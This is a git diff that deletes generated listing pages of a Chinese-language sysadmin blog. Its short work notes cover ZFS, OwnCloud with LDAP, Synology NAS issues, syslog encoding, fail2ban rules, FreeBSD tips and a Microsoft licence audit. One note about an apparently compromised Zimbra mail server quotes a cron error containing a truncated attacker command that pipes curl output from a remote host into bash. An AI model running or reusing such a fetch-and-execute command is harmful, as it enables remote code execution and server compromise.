    - - - 昨天參加 Nimble Storage Seminar之後的一點想法 -能不能用大量的記憶體配合一些SSD再加上 SATA硬碟,做出一個混合式的儲存空間提供給VDI使用? -inline compression zfs 本來就有 -只是不曉得nimble 怎麼把讀寫分流SSD Cache/ SATA 硬碟上.. -  -ZIL:簡單一點說,就是寫入的cache ,改變先寫入到ZIL,由ZIL回覆AP說寫入OK,AP就可以繼續其他行程。 -有點錯誤,因為ZIL實際上是 “journal” ,檔案的寫入是先記錄在日誌上,再寫入到檔案系統 -所以藉著改變這個檔案系統的載體(就是磁碟機啦)的型態(從傳統硬碟到固態硬碟) -就可以提升寫入的效能,但是ZIL有可能會毀損,所以大部分都建議也要做個保護 (mirror) -zpool create pool_name log mirror /dev/sda1 /dev/sda2 -ARC: Read 快取,放在RAM中 , -/boot/loader.conf vm.kmem_size -amd64 NOTE (gcooper): this blanket statement is far from true 100% of the time, depending on how the system with ZFS is being used. -FreeBSD 7.2+ has improved kernel memory allocation strategy and no tuning may be necessary on systems with more than 2 GB of RAM. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] CentOS 7+OwnCloud+LDAP+AD 認證設定

    -
    - - - 2015-01-05 - - - - - - - - - 工作筆記 - - - - - -
    - - - 今年的工作,列了一項建立公司內部私有雲的計畫,之前就有玩過免費的 OwnCloud ,這次拿來在公司環境試試看。 -底下簡單描述操作的步驟 -CentOS 7+OwnCloud+LDAP+AD 認證設定   -安裝 CentOS 7 下載ISO http://www.centos.org/download/ -把ISO丟上 esxi ,開一台新的 VM -配置大概如下,很簡單,想說主機上的RAM還有多,就配4G給這台 - -如果選最小安裝,會碰到很多指令不支援的問題,要一個個手動裝回來,這點要特別注意。 -另外,我的習慣是會關閉 SELINUX,另外設定 iptables ,這部分就看個人。 -為了之後要把Google Drive 拿來當作外部儲存空間用,所以之後都要用 hostname連線 -記得要修改DNS對應,如果用IP連線,Google Drive 的API 不接受! 安裝 OwnCloud CentOS 安裝好了之後,參考底下頭城國小資訊組的文章 PS 我雖說是礁溪人,不過老家親戚大部分都在頭城!硬要牽關係這樣 參考 http://blog.ilc.edu.tw/blog/blog/25793/post/79900/512903 -資料儲存空間要修改成自己機器上的路徑 -啟用 OwnCloud 的 LDAP 進入 OwnCloud 後,在左上角的雲的旁邊有個下拉選單,裡面有個應用程式,點進去 -P.S 不知道為什麼,進入應用程式要等很久,是VM不給力?還是給雙核CPU太少? -之前在另一台FreeBSD的實體機上測試,也會有這個問題.. -Update 2015/01/06 -早上翻了一堆 owncloud 論壇的文章,管理介面緩慢的問題滿多人碰到的 -有說是DNS 解析的問題,有說是進入 admin 介面時,會去檢查一些像是系統更新、網際網路連線能力之類,所以會跑比較久。 -有跟著說明修改了一些config裡面的值,「感覺」似乎有變快.. -  - -進入應用程式後,啟用 LDAP user and group backend , - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 群暉 Synology NAS 討厭的 @eaDir 權限問題

    -
    - - - 2014-10-16 - - - - - - - - - 工作筆記 - - - - - -
    - - - 這幾年用群暉的NAS下來,碰到一個問題一直無解 > Problem Explanation: > > > 共用資料夾已開放所有人可以讀取/寫入,也未開啟ACL > > 在共用資料夾底下的子目錄中的某個XLSX檔案,在不同電腦上用不同的網域帳號開啟並嘗試寫入時,會出現文件未儲存的錯誤訊息,關掉檔案之後,原始的XLSX會消 > > 失,只留下一個 xxxx.tmp檔案,將tmp重新命名為xlsx之後,又可以開啟。 這是我幾年前問過的問題 -經過多次的信件往來、遠端操作之後,群暉客服回覆的答案是 > 最後RD找出原因是 您提供的有問題的目錄底下 @eaDir 這個DSM系統資料夾權限有誤(沒有執行權限), > > > 不確定 這顆硬碟 是不是由其它機種 轉移過來繼續使用的? > > > 若下次您遇到同樣問題,可以到console下,輸入指令 「chmod 777 /共用資料夾/子目錄/@eaDir」 > > > 就可以了。 不過呢,因為這不是第一次碰到這種狀況 -所以我跟著回覆他們 > 這台NAS上的資料都是從舊的RS810+移轉過來的 > > > 這個@eaDir目錄造成的錯誤你們之前有回覆過 > > > 那時候我有確認過是不是我找出所有 @eaDir目錄並且去 chmod 777 就可以解決 > > > 你們給我的答案是肯定的 > > > 當時的信件標題是: Synology Online Support #158881: [DS1812+ DSM 4. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/工作筆記/page/6/index.html b/themes/public/categories/工作筆記/page/6/index.html deleted file mode 100644 index 1596e570..00000000 --- a/themes/public/categories/工作筆記/page/6/index.html +++ /dev/null @@ -1,815 +0,0 @@ - - - - - - - - - - 工作筆記 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記]群暉科技 Synology 的 Syslog 中文亂碼的處理方法

    -
    - - - 2014-09-09 - - - - - - - - - 工作筆記 - - - - - -
    - - - 因為開會時,被要求紀錄NAS上的檔案存取記錄 -想到群暉的NAS上,不曉得在哪一版DSM之後,就有提供這樣的功能 -控制台—>檔案服務—>勾選 啟動傳輸日誌 - -接下來在系統中,就可以看到USER上來新增、修改、刪除之類的動作 - -正所謂得隴望蜀,雖然在這邊已經可以查到記錄了,可是總是想要丟到SYSLOG Server去做處理比較快 -所以我把SYSLOG指定丟到我另一台 FreeBSD 9.1的 SYSLOG Server上 -丟出來是沒有碰到什麼問題,但是在SYSLOG Server上,看到的LOG都是亂碼 - -發信件去給群暉,過了24小時也沒收到回信,想說還是靠自己比較快… -翻了一下google 大神,發現 SYSLOG在處理中文上的確是有問題 -最後找到了這篇 -FreeBSD : syslogd 儲存的 UTF-8 編碼記錄變亂碼 解決方法真的很簡單,就在syslog的啟動參數,多加一個 -8 ,然後重新啟動syslogd就好了 > vi /etc/rc.conf > > > syslogd_flags=”-8 -a 192.168.1.0/16:*”   -再來看一下檔案內容, YES ! 中文都可以看到了!這樣就方便過濾了! -雖然馬賽克遮掉很多,但是應該可以看到中文可以正常顯示了! - -  -至於群暉那邊開好的TICKET….我看就等看看他們哪時候才要回覆我好了… - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] Zimbra 主機疑似被拿來挖礦了

    -
    - - - 2014-08-08 - - - - - - - - - 工作筆記 - - - - - -
    - - - 最近發現Zimbra主機似乎被駭客打進去了 -會有 root 往外發信的紀錄,所以在 zimbra的postfix裡面設定了 always_bcc ,想看一下到底是寄出什麼東西 -似乎是透過crontab 定時送出,可是我/etc底下的 crontab 都檢查過了,沒看到異常說.. -信件內容如下 > > > > > > > > > > > > > > > > > > ### Cron Daemon <root@> > > > > > > > > > > > > > > 3:00 (5 小時前) > > > > > > > > > > > > > > > > > > > > > > > > 寄給 zimbra > > > > > > > > > > > > > > > > > > > > > > > > /bin/sh: -c: line 0: syntax error near unexpected token (' > > /bin/sh: -c: line 0:/bin/bash <(curl -ksL https://cp1. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] Outlook 收信時,會出現「您沒有適當的權限可執行此項作業」視窗

    -
    - - - 2014-05-20 - - - - - - - - - 工作筆記 - - - - - -
    - - - 今天 FISH打來反應OUTLOOK無法收發信件 ,會出現 「您沒有適當的權限可執行此項作業」視窗 -找了好幾篇網路上的文章都解決不了,最後改用英文去搜尋,終於找到解決方法 -操作方法如下 -1.關閉OUTLOOK -2.開啟檔案總管,進到 %USERPROFILE%\AppData\Roaming\Microsoft\Outlook 這個目錄 -3.這目錄裡面應該會有一個附檔名是 srs 的檔案 -4.刪掉這個 .srs的檔案(刪掉或更名都可以) -5.重新開啟outlook , DONE ! -因為網路上中文的網頁幾乎都沒提到這個方法,簡單做個紀錄! - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] freebsd 尋找重複檔案 fdupes

    -
    - - - 2014-04-22 - - - - - - - - - 工作筆記 - - - - - -
    - - - /usr/ports/sysutils/fdupes -make install clean -root@ds:/root # fdupes -r /zp/ai/資訊部/ |more -/zp/ai/資訊部/E-備存文件/維護維修記錄表/ALAN/201111/~$ALAN-201110伺服器設備異常狀況維修記錄表.xlsx /zp/ai/資訊部/E-備存文件/維護維修記錄表/ALAN/201110/~$ALAN-201110伺服器設備異常狀況維修記錄表.xlsx -/zp/ai/資訊部/A-專案/網站/雲端主機連線管理資料/雲端客服專線.txt /zp/ai/資訊部/E-備存文件/合約/遠傳/雲端主機/雲端客服專線.txt -/zp/ai/資訊部/A-專案/DMP/users-modified by Eric.csv /zp/ai/資訊部/A-專案/DMP/users.csv -/zp/ai/資訊部/E-備存文件/~$網域名稱清冊.doc /zp/ai/資訊部/E-備存文件/副牌網域名稱清冊/~$網域名稱清冊-20130222.docx /zp/ai/資訊部/C-月會報告/~$1306月會報告.docx /zp/ai/資訊部/C-月會報告/~$1210 經營會議報告.docx /zp/ai/資訊部/C-月會報告/~$1310月會報告.docx /zp/ai/資訊部/E-備存文件/副牌網域名稱清冊/~$網域名稱清冊.doc -/zp/ai/資訊部/G-帳號申請單/華南/離職-2013-0401-.pdf /zp/ai/資訊部/G-帳號申請單/華南/離職2013-0401-.pdf -/zp/ai/資訊部/G-帳號申請單/華南/C102017 蔡.pdf /zp/ai/資訊部/G-帳號申請單/華南/C102017 營業處 蔡.pdf -/zp/ai/資訊部/G-帳號申請單/華南/離職-2013-0401-C101012 營一部 李(成都).pdf /zp/ai/資訊部/G-帳號申請單/華南/離職2013-0401-C101012 營一部 李(成都).pdf -/zp/ai/資訊部/G-帳號申請單/華南/離職C102018-營二部 阮.pdf /zp/ai/資訊部/G-帳號申請單/華南/C102018-營二部 阮.pdf -/zp/ai/資訊部/G-帳號申請單/華南/離職2013-0830-周.pdf /zp/ai/資訊部/G-帳號申請單/華南/離職-2013-0830-周.pdf - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] mutt 批次刪除信件

    -
    - - - 2014-04-16 - - - - - - - - - 工作筆記 - - - - - -
    - - - http://snippets.aktagon.com/snippets/21-delete-messages-containing-a-keyword-in-mutt -  -Delete messages containing a keyword in mutt -Bulk operations in mutt, a console based email client, are easy. Here’s how to delete messages containing the keyword ‘Newsletter’. > T > > Newsletter > > ; > > d > > $ T – asks which messages you want to tag and you reply with ‘Newsletter’. -; – asks which action you want to run on the tagged messages. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [雜念] 被微軟恐嚇了 - 大中華區Microsoft軟體授權遵循專案

    -
    - - - 2014-04-02 - - - - - - - - - 工作筆記 - - - - - -
    - - - 今天早上接到微軟代表打來的電話 -說敝司目前被列在 大中華區Microsoft軟體授權遵循專案 中 -希望我們能配合提供目前公司內微軟的作業系統、軟體的使用情況 -我一開始表示說為什麼我需要配合微軟提供這樣的資料 -對方表示依照安裝時會出現的使用條款第X條,微軟有權這樣做 -p.s 靠北,誰安裝軟體的時候會去把所有條款看完?更何況,在看到條款的時候,東西都已經買了,是可以拿去退喔? -接著對方又說也可以不提供,那我們公司就會交給另一個單位去協助「處理」 -到時候可能就會有律師等等人員到公司進行「稽核」,這樣子的話,場面可能就不太好看了…. -買東西買到被人家恐嚇啦!林北實在很不爽,雖然不是第一次了 電話講完,對方就傳了一封郵件來,希望我們能填好表格回傳 - -  -OS / Office 我倒是不怕啦,就算有缺也就是一兩套吧 -主要是SERVER CAL的部分,從來就沒有人能告訴我應該要怎樣買才算「足夠」.. -雖然我已經盡量減少MS的SERVER,但是畢竟在這種商用環境底下,AD的帳號管理、提供外部連線的遠端桌面,這些服務都不容易找到替代的方案 -反正就先把文件丟回給他們,看看他們要勒索多少錢好了… -  -打算事後再來跟微軟的代表「討論」底下的問題.. -關於在使用者條款內說明微軟有權不定期進行稽核的部分 -剛剛說過,一般人不會去看這麼仔細,好,就算真的看過了,我拒絕讓微軟有這樣的權力,但是我東西已經買了啊,不管是彩盒、隨機、或者是大量授權 -請問廠商能夠接受退貨?不能接受退貨的話,那不就根本不讓USER有選擇權?這樣能算是合理的條款嗎? -  -Update -昨晚意外收到對方的信件,不過看內容似乎是要轉給同事,卻不小心選到回覆郵件給我…..信裡面提到這個窗口在月初已經收到五家「客戶」回傳資料了,還把名字都列出來…. - -然後看信件Header ,是從一家叫 telexpress.com ( 網訊電通 ) 來的,看樣子應該是外包商吧 !這根本就跟找討債集團沒兩樣嘛! -Return-Path: <X@mssupport.microsoft.com> X-Original-To: X Delivered-To: X Received: from X (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256⁄256 bits)) (No client certificate requested) by X (Postfix) with ESMTPS id 3EA8CB418D2 for X; Wed, 2 Apr 2014 20:48:20 +0800 (CST) Received: from localhost (localhost [127. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] iCloud上的照片串流要怎麼複製到記憶卡、隨身碟等非蘋果裝置

    -
    - - - 2014-02-21 - - - - - - - - - 工作筆記 - - - - - -
    - - - 今天敗了一個 togobox -想說把之前用iCloud備份的照片放到這裡面來測試,結果發現在檔案總管中看到的 iCloud照片 這個目錄,沒辦法被複製… WTF ! -不過呢,解決方法也很簡單就是了 -照片串流在Win7底下的實際目錄為 -c:\users\user_id\pictures\Photo Stream -or -c:\users\user_id\我的圖片\Photo Stream -到這裡面把目錄複製出來就好了 - -  - - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/工作筆記/page/7/index.html b/themes/public/categories/工作筆記/page/7/index.html deleted file mode 100644 index 04e6cae9..00000000 --- a/themes/public/categories/工作筆記/page/7/index.html +++ /dev/null @@ -1,842 +0,0 @@ - - - - - - - - - - 工作筆記 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] 好用PDF轉檔、辨識(OCR) 軟體 Aiseesoft PDF Converter Ultimate

    -
    - - - 2014-02-21 - - - - - - - - - 工作筆記 - - - - - -
    - - - 昨天在臉書上看到 freegroup 貼了這麼一篇消息 (臉書連結) -Aiseesoft PDF Converter Ultimate 內建 OCR 辨識功能的 PDF 轉檔軟體,限時免費下載 -因為工作上很常碰到同事拿國外的PDF來給我,問說能不能轉成WORD / EXCEL /PPT ,因為要再次「編輯」內容 -如果原檔是從OFFICE直接轉PDF,那就還有些許機會,但是如果在PDF中,沒有辦法去選取文字,就代表檔案是以圖形列印的方式轉成PDF -這種的幾乎就沒有辦法處理。 -不過看到了上面那篇連結以及作者的回覆(有繁體中文OCR的選項)之後,我就想說來試試看好了。 -底下是測試的內容 -原檔: Word 2013 製作的 原稿 p.s 瑤瑤真的好正啊 ~~~~ -內容大概是這樣 - -  -轉存JPG之後的狀況 - -  -從JPG再轉成 PDF,內容是這樣 - -  -然後進入這個 Asieesoft PDF Converter Ultimate -先到設定裡面確認有選擇了繁體中文OCR -.. -  -確認之後,就選擇PDF進來,然後點下CONVERT按鈕 - -  -得到的結果是這樣,從圖片轉過來的文字,大概成功辨識了有超過九成! -算是非常了不起的成果了!值得推薦吶! -  -update -補上一篇今天轉的檔案,效果還算不錯,原始檔案是上海的同事傳過來的一個PDF檔,透過PDF Converter Ultimate轉成 docx,在圖片中可以看到簡體字的部分,可以被選取,代表已經轉成文字了 -內容也都正確無誤的轉過來了! -再次強力推薦啦! -  - -  -Update 2014/03/20 -今天在做一些關鍵字排名的東西,有個工具可以把關鍵字目前在網站上的排名抓成列表、匯出PDF -可是我想在報告中引用,所以又想到這套工具,就給他拿出來轉轉看 -果然效果還是很不錯的,雖然不是100%轉成功,但是絕大部分都有正確的轉成中文字了!真的是大推啊! - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] centos 上安裝 netatalk 提供 time machine服務

    -
    - - - 2014-02-05 - - - - - - - - - 工作筆記 - - - - - -
    - - - 本來要在FreeBSD上安裝的 -但是解決了 netatalk的問題,接下來又碰到 avahi的狀況,看樣子是要安裝一堆有的沒的套件。 -所以想說換個平台,改來centos裝裝看。 -netatalk & avahi 安裝很簡單,就yum install就好了 -不過一開始依照這篇設定完,會發生錯誤 -http://quanterium.blogspot.tw/2011/11/using-scientific-linuxcentosrhel-6.html -Mac mini 要開啟 afp://192.168.10.248 的時候,雖然會詢問帳號密碼,但是輸入完成後,會跳一個警告視窗說不支援這個版本的 -The server version you are trying to connect its not compatible. Please contact your system administrator to resolve the problem -還好下面的留言就有提到 -Its working now: in: -/etc/netatalk/afpd.conf -I had to replace uams_dhx.so to uams_dhx2.so -And its working now.. -修改完之後,就依照上面的指示,去打開Time Machine對網路磁碟的支援 -defaults write com.apple.systempreferences TMShowUnsupportedNetworkVolumes 1 -就可以開始使用time machine功能了! - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] Freebsd ports安裝 dbus 會發生 dbus pw: user 'messagebus' already exists freebsd 的錯誤

    -
    - - - 2014-02-05 - - - - - - - - - 工作筆記 - - - - - -
    - - - 今天想在freebsd上弄個支援macos 可以用的time capsule 出來 -理所當然的用ports去安裝 /usr/ports/net/netatalk -不過過程中會卡在 dbus 這邊,錯誤訊息是 -dbus pw: user ‘messagebus’ already exists -即使是手動去砍掉/etc/passwd , /etc/group裡面的messagebus也沒用 -然後熊熊發現,freebsd好像沒有 userdel 的指令? -找了一下發現要用 pw 去做userdel -pw userdel messagebus -然後再重新 make install dbus 就可以繼續跑下去了.. - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 偽裝/加密 Win7底下的目錄

    -
    - - - 2013-11-14 - - - - - - - - - 工作筆記 - - - - - -
    - - - 假設要偽裝的目錄為 d:\test -寫兩個批次檔,一個加密(encrypt.bat) 一個解密(decrypt.bat) -  -encrypt.bat 的內容 > d: > > > ren “test” “123.{2227a280-3aea-1069-a2de-08002b30309d}” > > > exit decrypt.bat > d: > > > ren ”123.{2227a280-3aea-1069-a2de-08002b30309d}“ ”test” > > > exit   -執行 encrypt 後, d:\test目錄就不見了,用command prompt也進不去 -測試畫面如下 -在命令列模式下,用 dir 看看 d:\test的東西 確認還在 - -  -ren 之後,再去dir一次,發現沒有東西… - -  -用檔案總管看到的畫面,test 目錄不見了 - -  -點進去這個目錄看到的是印表機的畫面 - -  -接下來,再把目錄改回來,然後 dir 看看,東西果然還在 - -  -檔案總管內也可以正常看到了 - -  -  -本來是在研究不用軟體去加密win7目錄的方法,偶然發現這樣搞好像也算另類加密了! -不過碰到稍微有常識的人,只要把附檔名改掉就可以了。 -但是話說回來,win7預設會把附檔名隱藏起來,也算是個好處!? - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 利用find/grep/xargs 在目錄中找出所有包含特定字串的檔案路徑

    -
    - - - 2013-11-14 - - - - - - - - - 工作筆記 - - - - - -
    - - - 很好用的指令 在當前目錄底下(包含子目錄)尋找所有附檔名為php的檔案,並在這些檔案中,尋找包含 abc.def 字串的檔案並列出結果 -  > find .. -name “.php”|xargs grep -n abc.def 使用結果 > [root@vm00015-1 models]# find .. -name “.php”|xargs grep -n abc.def > > ../views/welcome.php:252: <span><a href=“http://abc.def.com" target=”_blank”>設計</a></span> > > ../views/welcome.php:260: <span><a href=“http://abc.def.com" target=”_blank”></a></span> > > ../views/welcome.php:263: <span><a href=“http://abc.def.com" target=”_blank”></a></span> > > ../views/mobile.php:127: <span><a href=“http://abc.def.com" target=”_blank”>設計</a></span> > > ../views/mobile.php:130: <span><a href=“http://abc.def.com" target=”_blank”></a></span> > > ../views/mobile.php:133: <span><a href=“http://abc.def.com" target=”_blank”></a></span> > > ../views/template.php:165: <span><a href=“http://abc.def.com" target=”_blank”>設計</a></span> > > ../views/template.php:168: <span><a href=“http://abc. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 攻擊 IP

    -
    - - - 2013-11-07 - - - - - - - - - 工作筆記 - - - - - -
    - - - 2013/12/13 -1.85.41.122 109.169.40.167 110.208.181.72 111.193.125.255 111.206.128.187 111.207.17.36 111.250.100.213 111.67.197.7 112.67.118.19⁄16 112.81.2.221 113.104.249.251 113.119.41.4 113.122.212.182⁄16 113.240.4.183⁄16 113.244.236.81⁄16 113.247.26.60⁄16 114.112.190.16⁄16 114.219.175.33⁄24 114.249.86.21⁄24 114.54.1.242 114.80.207.166 114.97.99.191 114.99.20.214 116.11.252.198 116.21.128.72⁄16 116.25.251.27 117.158.2.74 117.23.233.156 117.79.91.230 118.119.125.119 118.123.11.51 118.186.156.29 12.131.227.140 12.234.218.138 121.127.248.197 121.35.143.246 121.35.164.203 121.35.52.86 121.35.54.192 122.193.73.140 124.205.206.161 124.73.107.199 124.73.86.199 125.76.246.21 125.89.61.22 139.226.145.66 14.150.37.145 162.221.184.147 173.219.32.32 175.0.185.22 175.25.242.21⁄24 175.41.41.189 175.8.24.183 176.61.139.183 180.127.163.100 182.37.152.154⁄16 182.52.233.38 183.0.168.235 183.0.171.75 183.0.186.190 183.0.197.95 183.10.197.36 183.13.214.122 183.13.244.191 183.2.138.161 183.60.99.146⁄16 184.22.11.11⁄16 184.70.64.34⁄24 192.210.48.4 192. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] AeroFS - 又一種跨平台同步軟體

    -
    - - - 2013-11-04 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    早上在PTT看到某篇文章推文在講這個東西,好奇之下就跑去下載來玩玩看。

    - -

    簡單的說,這個軟體是「點對點」的同步軟體。

    - -

    不同於DROPBOX之類的「雲端同步」軟體,AeroFS在一般應用上,不需要先將檔案上傳到伺服器,只要有註冊帳號,

    - -

    在各個裝置上登入後,就會直接同步指定文件夾之內的資料。

    - -

    如果裝置都在LAN,那傳輸的速度就會是LAN的速度,不會像DROPBOX一樣,要先都丟去廠商的伺服器再抓回來!

    - -

    有多個裝置要同步,又不想多一次上傳的步驟,還有考慮資料傳輸安全性的需求,可以考慮用這軟體。

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/工作筆記/page/8/index.html b/themes/public/categories/工作筆記/page/8/index.html deleted file mode 100644 index 8fe25524..00000000 --- a/themes/public/categories/工作筆記/page/8/index.html +++ /dev/null @@ -1,762 +0,0 @@ - - - - - - - - - - 工作筆記 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] ASP在檔案中找出特定的文字,在之後寫入新的字串

    -
    - - - 2013-11-01 - - - - - - - - - 工作筆記 - - - - - -
    - - - Reference URL:http://forums.aspfree.com/code-bank-54/classic-asp-vbscript-write-into-specific-line-text-file-92390.html > ## Classic ASP/vbscript: write into specific line in text file > The code below get file path and string to be written, andwrites the string into the specified file, in the given linenumber.The text is “pushed” in that line, pushing allother lines below.If the text file does not exist, it’s being created and thetext written as the first line.If the line number exceeds the amount of lines in the file,the text is written as the last line. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記]fail2ban 阻擋sasl登入失敗的正規化語法

    -
    - - - 2013-10-16 - - - - - - - - - 工作筆記 - - - - - -
    - - - 一直以來都找不到fail2ban 去阻擋SASL認證失敗的語法,網路上之前看到的都是這幾篇 -http://blog.xuite.net/pippeng/blog/63675336-Fail2Ban+for+Dovecot%3E -http://wiki.dovecot.org/HowTo/Fail2Ban -今天驚覺其實是我想錯了,這個應該不關dovecot的事! -應該是要找SASL認證錯誤的語法才對 -不過dovecot預設的好像也有問題 -所以我找到了這篇 -http://www.howtoforge.com/forums/showthread.php?t=51349 -發現了這個語法 > failregex = (?i): warning: [-.\w]+[<HOST>]: SASL (?:LOGIN|PLAIN|(?:CRAM|DIGEST)-MD5) authentication failed: \w 然後測試了一下 > Running tests > > ============= > > > Use regex file : /etc/fail2ban/filter.d/dovecot-pop3imap.conf > > Use log file : /var/log/maillog > > Results > > ======= > > > Failregex > > |- Regular expressions: > > | 1: warning: [-.\w]+[<HOST>]: SASL (?:LOGIN|PLAIN|(?:CRAM|DIGEST)-MD5) authentication failed: \w > > | > > - Number of matches: > > [1] 450 match(es) > > > Ignoreregex > > |- Regular expressions: > > | > >- Number of matches: > > > Summary > > ======= > > > Addresses found: > > [1] > > 199. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記]中華電信光世代雙向100 連google服務怪怪的

    -
    - - - 2013-10-14 - - - - - - - - - 工作筆記 - - - - - -
    - - - 這兩天發現在google搜尋列直接打關鍵字搜尋,常常會網頁一開就好久,最後導致逾時的情況。 -開youtube也是影片LOAD好久。 -但是又不是一直都這樣,一下正常一下有問題。 -看了一下防火牆上的流量圖,流量也都很低呀,感覺連線怪怪的。 -如果把搜尋引擎換成yahoo/hinet等等,就不會有這種狀況,可能要來跟中華電信報修看看。 - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記]值得推薦的優質VPS 廠商 -Hos Virtual - http://www.vr.org

    -
    - - - 2013-10-11 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    這幾天想說測試一下明年度有沒有可能把大陸的MAIL SERVER都移去雲端空間,透過NOPAM做過濾和備份。

    - -

    因為NOPAM是基於freebsd安裝,所以找了幾家支援freebsd的VPS廠商。

    - -

    要不就是太貴,要不就是機房都在美國、歐洲,幾乎沒有幾家亞洲的廠商有做freebsd的。

    - -

    即使公司在用的400apps也沒有,不然400apps真的是商用第一選擇!

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記]值得推薦的商業用途VPS供應商

    -
    - - - 2013-10-09 - - - - - - - - - 工作筆記 - - - - - -
    - - -   -https://www.vr.org/ -今天發現的一家供應商,有香港機房,連線速度很不錯! -價格也還可以接受,重點是,可以上傳自己的ISO檔案! -我想在這台測試NOPAM,開了TICKET詢問之後,SUPPORT就很阿殺力的要我提供ISO下載連結,然後說抓完會幫我MOUNT進去,好了會再回信。 -而且TICKET的來回大概都在十分鐘以內就回覆,真的是效率超高的! -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] FreeBSD 用 tree指令列出目錄樹會是亂碼的問題

    -
    - - - 2013-10-08 - - - - - - - - - 工作筆記 - - - - - -
    - - - 今天因為需要把NAS上的目錄結構匯出給廠商作參考, -所以在NAS的備份機器上用PORTS安裝了tree指令,但是一開始執行在CONSOLE上顯示都是亂碼,無法閱讀。 > root@ds:/root # tree -d -L 2 /nas/ERP文件/ > > /nas/ERP\346\226\207\344\273\266/ > > ├── @eaDir > > └── SAP\ \345\260\210\346\241\210\350\263\207\346\226\231\345\244\276 > > ├── 00\ \345\260\210\346\241\210\346\225\264\351\253\224\350\263\207\350\250\212 > > ├── 01\ \345\260\210\346\241\210\346\272\226\345\202\231\351\232\216\346\256\265 > > ├── 02\ \344\274\201\346\245\255\350\227\215\345\234\226\351\232\216\346\256\265 > > ├── 03\ \345\205\267\351\253\224\345\257\246\346\226\275\351\232\216\346\256\265 > > ├── 04\ \346\234\200\345\276\214\347\261\214\345\202\231\351\232\216\346\256\265 > > ├── 05\ \344\270\212\347\267\232\345\276\214\346\224\257\346\217\264 > > └── @eaDir > > > 9 directories > > root@ds:/root #   -man tree 可以發現底下這段 > FILE OPTIONS > > -q Print non-printable characters in filenames as question marks > > instead of the default. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] XenServer/XenApp 不透過AG,直接從Internet連線的方式

    -
    - - - 2013-10-03 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    因為最近要再次開放遠端桌面連線給員工使用,基於某些原因,我不是很想直接讓USER直接連線。

    - -

    不管是透過terminal service or XenApp,不過,命令終究是命令,遠端連線自然是沒有問題,不過之前問過廠商,如果要在INTERNET上直接提供XenApp,都是建議前面再放個AG之類的,那又是一筆額外的成本,所以這兩天在測試怎麼從INTERNET上直接連XenApp服務,但是碰到了許多的問題,以下簡單記錄一下處理的步驟。

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/工作筆記/page/9/index.html b/themes/public/categories/工作筆記/page/9/index.html deleted file mode 100644 index 9e2acc89..00000000 --- a/themes/public/categories/工作筆記/page/9/index.html +++ /dev/null @@ -1,782 +0,0 @@ - - - - - - - - - - 工作筆記 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] pdumpfs 的一些參數用法

    -
